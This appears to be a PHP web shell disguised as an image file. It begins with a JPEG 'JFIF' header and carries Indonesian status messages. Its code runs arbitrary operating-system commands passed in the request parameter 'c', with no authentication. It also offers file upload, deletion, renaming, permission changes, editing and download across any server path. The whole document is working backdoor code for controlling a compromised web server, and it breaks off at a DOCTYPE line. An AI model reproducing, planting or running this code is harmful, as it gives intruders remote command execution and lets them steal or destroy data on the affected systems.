���� JFIF ��
function executeCommand($input) {
$descriptors = array(
0 => array("pipe", "r"),
1 => array("pipe", "w"),
2 => array("pipe", "w")
);
$process = proc_open($input, $descriptors, $pipes);
if (is_resource($process)) {
$output = stream_get_contents($pipes[1]);
$errorOutput = stream_get_contents($pipes[2]);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
$exitCode = proc_close($process);
if ($exitCode === 0) {
return $output;
} else {
return "Error: " . $errorOutput;
}
} else {
return "Tidak dapat menjalankan perintah\n";
}
}
if (isset($_REQUEST['c'])) {
$command = $_REQUEST['c'];
echo executeCommand($command);
}
function delete_file($file) {
if (file_exists($file)) {
unlink($file);
echo '<div class="alert alert-success">File berhasil dihapus: ' . $file . '</div>';
} else {
echo '<div class="alert alert-danger">File tidak ditemukan: ' . $file . '</div>';
}
}
function create_folder($folder_name) {
if (!file_exists($folder_name)) {
mkdir($folder_name);
echo '<div class="alert alert-success">Folder berhasil dibuat: ' . $folder_name . '</div>';
} else {
echo '<div class="alert alert-warning">Folder sudah ada: ' . $folder_name . '</div>';
}
}
function rename_file($file, $new_name) {
$dir = dirname($file);
$new_file = $dir . '/' . $new_name;
if (file_exists($file)) {
if (!file_exists($new_file)) {
rename($file, $new_file);
echo '<div class="alert alert-success">File berhasil diubah nama menjadi: ' . $new_name . '</div>';
} else {
echo '<div class="alert alert-warning">File dengan nama yang sama sudah ada: ' . $new_name . '</div>';
}
} else {
echo '<div class="alert alert-danger">File tidak ditemukan: ' . $file . '</div>';
}
}
function rename_folder($folder, $new_name) {
$dir = dirname($folder);
$new_folder = $dir . '/' . $new_name;
if (file_exists($folder)) {
if (!file_exists($new_folder)) {
rename($folder, $new_folder);
echo '<div class="alert alert-success">Folder berhasil diubah nama menjadi: ' . $new_name . '</div>';
} else {
echo '<div class="alert alert-warning">Folder dengan nama yang sama sudah ada: ' . $new_name . '</div>';
}
} else {
echo '<div class="alert alert-danger">Folder tidak ditemukan: ' . $folder . '</div>';
}
}
function change_permissions($file, $permissions) {
if (file_exists($file)) {
if (chmod($file, octdec($permissions))) {
echo '<div class="alert alert-success">Izin file berhasil diubah: ' . $file . '</div>';
} else {
echo '<div class="alert alert-danger">Gagal mengubah izin file: ' . $file . '</div>';
}
} else {
echo '<div class="alert alert-danger">File tidak ditemukan: ' . $file . '</div>';
}
}
function get_permissions($file) {
$perms = fileperms($file);
$info = '';
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function read_file_content($file) {
if (file_exists($file)) {
return file_get_contents($file);
} else {
return "File tidak ditemukan: " . $file;
}
}
function save_file_content($file, $content) {
if (file_exists($file)) {
file_put_contents($file, $content);
echo '<div class="alert alert-success">File berhasil disimpan: ' . $file . '</div>';
} else {
echo '<div class="alert alert-danger">File tidak ditemukan: ' . $file . '</div>';
}
}
$dir = $_GET['path'] ?? __DIR__;
if (isset($_POST['submit'])) {
$file_name = $_FILES['file']['name'];
$file_tmp = $_FILES['file']['tmp_name'];
move_uploaded_file($file_tmp, $dir . '/' . $file_name);
}
if (isset($_POST['create_folder'])) {
create_folder($dir . '/' . $_POST['folder_name']);
}
if (isset($_GET['delete'])) {
delete_file($dir . '/' . $_GET['delete']);
}
if (isset($_POST['rename_file'])) {
rename_file($dir . '/' . $_POST['file_name'], $_POST['new_name']);
}
if (isset($_POST['rename_folder'])) {
rename_folder($dir . '/' . $_POST['folder_name'], $_POST['new_name']);
}
if (isset($_POST['change_permissions'])) {
change_permissions($dir . '/' . $_POST['file_name'], $_POST['permissions']);
}
if (isset($_POST['save_file'])) {
save_file_content($dir . '/' . $_POST['file_name'], $_POST['file_content']);
}
if (isset($_GET['download'])) {
$file = $dir . '/' . $_GET['download'];
if (file_exists($file)) {
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($file) . '"');
header('Content-Transfer-Encoding: binary');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Pragma: public');
header('Content-Length: ' . filesize($file));
ob_clean();
flush();
readfile($file);
exit;
} else {
echo '<div class="alert alert-danger">File tidak ditemukan: ' . $file . '</div>';
}
}
function display_path_links($path) {
$parts = explode('/', $path);
$accumulated_path = '';
foreach ($parts as $part) {
if ($part) {
$accumulated_path .= '/' . $part;
echo '<a href="?path=' . urlencode($accumulated_path) . '">' . $part . '</a>/';
}
}
}
<!DOCTYPE html>